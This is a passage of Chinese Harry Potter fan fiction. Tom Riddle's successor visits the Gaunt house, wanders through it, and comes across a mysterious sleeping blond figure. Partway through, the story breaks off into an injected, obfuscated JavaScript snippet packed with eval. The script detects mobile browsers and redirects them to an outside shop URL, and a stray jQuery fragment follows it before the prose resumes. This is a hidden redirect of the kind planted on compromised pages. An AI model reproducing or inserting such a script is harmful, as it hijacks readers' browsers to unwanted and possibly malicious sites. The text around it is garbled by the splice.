辞职后的日子，汤姆·里德尔大部分时间都待在冈特老宅。这座古老的，带着阴沉气息的宅邸，在他多年来的修葺和魔法加固下，早已不复当年的破败，但依然保留着一种与世隔绝的孤寂感。高高的围墙和层层叠叠的防护魔法，将外界的窥探和喧嚣牢牢隔绝在外。
这里成了他进行那项隐秘计划的绝佳基地。当然，表面上的生活依旧需要维持。
陆陆续续有人前来拜访。魔法部的关系盘根错节，一位前司长，尤其是像他这样功绩卓著且离职原因带着悲情色彩的前司长，其影响力并不会立刻消散。来访者心思各异：有些是昔日旧部，真心仰慕他的能力，对他离开感到惋惜和不舍；有些是嗅觉敏锐的政客，前来试探他是否真的心灰意冷，还是有别的打算；还有些，则是那些曾被他压制或得罪过的人，借着探望之名，行落井下石，冷嘲热讽之实。
对于所有来访者，里德尔都一一接待。他表现得就像一个标准的、暂时退隐的绅士。穿着舒适的深色家居袍，神情比在魔法部时温和些许，但眼神依旧清明锐利。他耐心倾听每个人的话语，给予恰当的回应。对于善意的慰问，他表达感谢；对于试探，他四两拨千斤地挡回去，却又在言语间留下一些模糊的暗示，仿佛他并未完全离开那个权力场，只是暂时休整；对于恶意的嘲讽，他则报以平静的微笑，偶尔一两句轻描淡写的反问，便能噎得对方说不出话，反而显得自己气量狭小。
他就像一个最高明的棋手，即使暂时退到棋盘边缘，依旧能凭借对局势的洞悉和精准的落子，影响着局面的走向。
一个天气格外好的周末，阳光慷慨地洒满大地，连冈特老宅常年萦绕的阴郁气息都被驱散了不少。新任的魔法法律执行司司长，里德尔的继任者，带着一丝不易察觉的烦闷登门拜访。
他遇到了一些工作上的难题，虽不至于无法解决，但涉及几个部门间微妙的角力和一些历史遗留的模糊地带，处理起来颇为棘手。更重要的是，这几个难题隐隐牵涉到里德尔在职时的一些政策和人事安排。新任司长本打算自己处理，但思前想后，觉得还是来“请教”一下前任的态度更为稳妥。既能显示尊重，也能在必要时分担一些潜在的责任。
然而，当他到达冈特老宅时，却被家养小精灵告知，主人临时有事外出，大约需要一个小时才能回来。
“主人吩咐过，如果司长大人不介意，可以在客厅稍候。”小精灵卑躬屈膝，尖细的声音带着惯有的颤抖。
既是周末，又已上门，等一等也无妨。新任司长点了点头，在家养小精灵的引导下，来到了客厅。客厅宽敞而古雅，陈设着一些看起来颇有年头的家具和装饰，壁炉里燃着微弱的火，空气里弥漫着旧木头和淡淡草药的味道。阳光透过厚重的窗帘缝隙，在地毯上投下几道光带，浮尘在光中缓缓舞动。
家养小精灵很快送来了红茶和几样精致的点心，然后悄无声息地退下了。
新任司长独自坐在沙发上，慢慢啜饮着茶，目光打量着四周。等待的时间有些漫长，他放下茶杯，站起身，想在客厅里随意走走，看看墙上的画像或书架上的藏书——这在这种拜访中算是常见的消遣。
然而，他刚走到客厅通往内廊的拱门前，那个刚才送茶的小精灵就像从墙壁里渗出来一样，突然出现在不远处，垂着头，用那双网球般的大眼睛“无意”地瞥向他。
司长脚步顿了顿，转向另一侧通往一个小露台的玻璃门。同样，他刚靠近，小精灵的身影又在露台外的回廊拐角一闪而过。
一次是巧合，两次就让人有些不舒服了。新任司长皱起了眉。他感觉自己像是在被监视。被一个家养小精灵监视？这想法让他既荒谬又有些恼怒。冈特家这位前司长，防备心是不是太重了？还是说，这宅子里有什么不能让人看见的东西？
他压下心头的不快，决定用一种更直接的方式。他转身，对着空无一人的客厅提高声音：“我需要用一下卫生间。”
几乎话音刚落，那个家养小精灵就再次出现在他面前，细声细气地说：“请随我来，尊敬的司长大人。”
小精灵领着他穿过一条短短的走廊，来到一间干净但同样古旧的卫生间门口，然后垂手侍立在一旁，显然不打算离开。
司长关上门，反锁。他走到洗手池前，打开水龙头，看着镜子里自己那张因为刚才的插曲而略显紧绷的脸。清凉的水流过手指，带走了一些烦躁。他不是个没礼貌的家伙，懂得做客的礼节，但他同样不喜欢这种被严密看管的感觉，尤其对方只是一个家养小精灵。这简直是对他身份的一种隐形冒犯。
洗完手，他整理了一下衣领，决定不再忍耐。他要直接去问问里德尔，或者至少明确表示自己的不悦。
他打开门，小精灵果然还守在门外。司长没理会它，径直按照记忆朝客厅方向走去。但走了几步，他就发现不对劲。走廊的格局似乎和他来时不太一样，拐角多了一个，墙壁上挂的画像也陌生起来。冈特老宅内部比他想象的要大，也……更错综复杂。而且，空气里似乎弥漫着一种难以察觉的魔法波动，让人方向感变得模糊。
他迷路了。
这发现让他更加恼火，脚步也不由得快了起来。他穿过一个又一个相似的走廊，推开一扇又一扇虚掩的门，看到的不是堆满杂物的储藏室，就是空荡荡的卧室。宅子里静得可怕，只有他自己的脚步声和略显急促的呼吸声在回荡。
就在他几乎要失去耐心时，推开一扇厚重的橡木门，眼前豁然开朗。
是一个室内花园。或者说，一个被魔法玻璃穹顶笼罩的庭院。阳光毫无阻碍地倾泻下来，将整个空间照得明亮温暖，与宅邸其他地方的阴郁截然不同。庭院中央是一片精心打理的草坪，边缘种着一些即使在魔法世界也颇为罕见的，散发着莹润光泽的植物。而在草坪中央，放置着一个……很大的，看起来异常舒适的摇篮椅。
摇篮椅是藤编的，铺着厚厚的柔软的白色绒垫。此刻，正有一个人侧躺在上面。
那人背对着门的方向，蜷缩着身体，身上盖着一条薄薄的浅色毯子。一头浅金色的头发在阳光下几乎像是在发光，有些凌乱地散落在绒垫和脸颊边，遮住了大部分面容。摇篮椅没有晃动，那个人也一动不动，安静得仿佛只是这温暖阳光下一件精致的摆设。
但新任司长看到了那几乎难以察觉的，随着呼吸而微微起伏的毯子轮廓。
呼吸很微弱。而且，那姿势……不像是寻常的午睡，反而透着一股长久的缺乏生气的静止感。
好奇心压过了迷路的懊恼和被人监视的不快。司长放轻脚步，走了过去。他想看看这究竟是谁，为什么会在这座宅邸最明亮温暖的地方，以这样一种近乎凝固的状态存在着。是病人？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17925547|208351||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还是……
就在他走到距离摇篮椅几步远，正要开口询问时——
一只手，轻轻搭在了他的肩膀上。
那触感并不重，甚至算得上温和，却让新任司长瞬间僵住，一股寒意顺着脊椎直冲头顶。
他猛地转过头。
汤姆·里德尔不知何时站在了他身后，脸上带着他惯有的，温和而无可挑剔的微笑。但那双黑色的眼睛里，却没有丝毫笑意，只有一片深不见底的平静，平静得让人心头发冷。
在他们旁边，那个一直跟着司长的家养小精灵正瑟瑟发抖，几乎要把自己缩进地里，大眼睛里充满了恐惧。
“真是抱歉，”里德尔的声音平稳如常，甚至带着一丝恰到好处的歉意，“我回来得稍晚了一些。您是迷路了吗？这老宅子年久失修，路线是有些复杂。”
他的手依旧搭在司长的肩上，没有用力，却带着一种不容置疑的掌控感。
新任司长的心脏在胸腔里狂跳了几下，他迅速扫了一眼摇篮椅上那个依旧毫无动静的金发身影，又看向里德尔平静无波的脸。多年在魔法部练就的应变能力让他飞快地调整了表情，扯出一个略显尴尬的笑容。
“啊，是……是啊，这宅子确实……别有洞天。我一时好奇，就走岔了。”他顿了顿，目光状似无意地掠过那个摇篮椅，“这位是……？”
“一位需要静养的远房亲戚。”里德尔的回答快而自然，仿佛早已准备好了说辞。他收回了搭在司长肩上的手，做了一个“请”的手势，“这边走，客厅在另一边。让您久等了，我们这就去谈正事。”
他的态度依旧彬彬有礼，却带着一种无形的压力，让新任司长将所有疑问都咽回了肚子里。他点了点头，跟着里德尔离开了这个阳光灿烂却莫名让人脊背发凉的室内花园。转身的瞬间，他最后瞥了一眼那个摇篮椅。阳光依旧温暖地照耀着，金发的人影依旧静默，仿佛刚才的一切只是他迷路时产生的短暂幻觉。
接下来的谈话异常顺利。里德尔对那几个难题给出了清晰而富有洞察力的建议，甚至暗示了几个关键人物可能的态度和可以利用的切入点。新任司长获益匪浅，来时的烦闷一扫而空，甚至对里德尔产生了一丝感激和更深的忌惮——这位前上司，即使离开了权力中心，其眼界和手腕依然令人心惊。
离开冈特老宅时，阳光依旧明媚，但新任司长却觉得身上有些发冷。他坐进马车，忍不住又回头望了一眼那座沉默的宅邸。那个室内花园，那个金发的人影，里德尔突然出现时平静的眼神，还有那个瑟瑟发抖的家养小精灵……这些画面在他脑海里反复闪现。
他摇了摇头，试图驱散这些无关紧要的细节。重要的是问题解决了，仕途会更加顺利。至于冈特家的私事……与他无关。
几周后，因另一桩公务，新任司长再次拜访冈特老宅。这次里德尔在家，接待如常。司长注意到，端茶送水的家养小精灵，似乎……和上次不是同一个？
具体哪里不同，他说不上来。家养小精灵大都长得差不多，皱巴巴的皮肤，大大的眼睛，尖耳朵。但这个的动作似乎更麻利一些，眼神里的恐惧也少了一些，或者说，更……呆板一些？
也许是他记错了。或者，冈特家本来就不止一个小精灵。
他没有再深想。毕竟，谁会在意一个家养小精灵是不是被换掉了呢？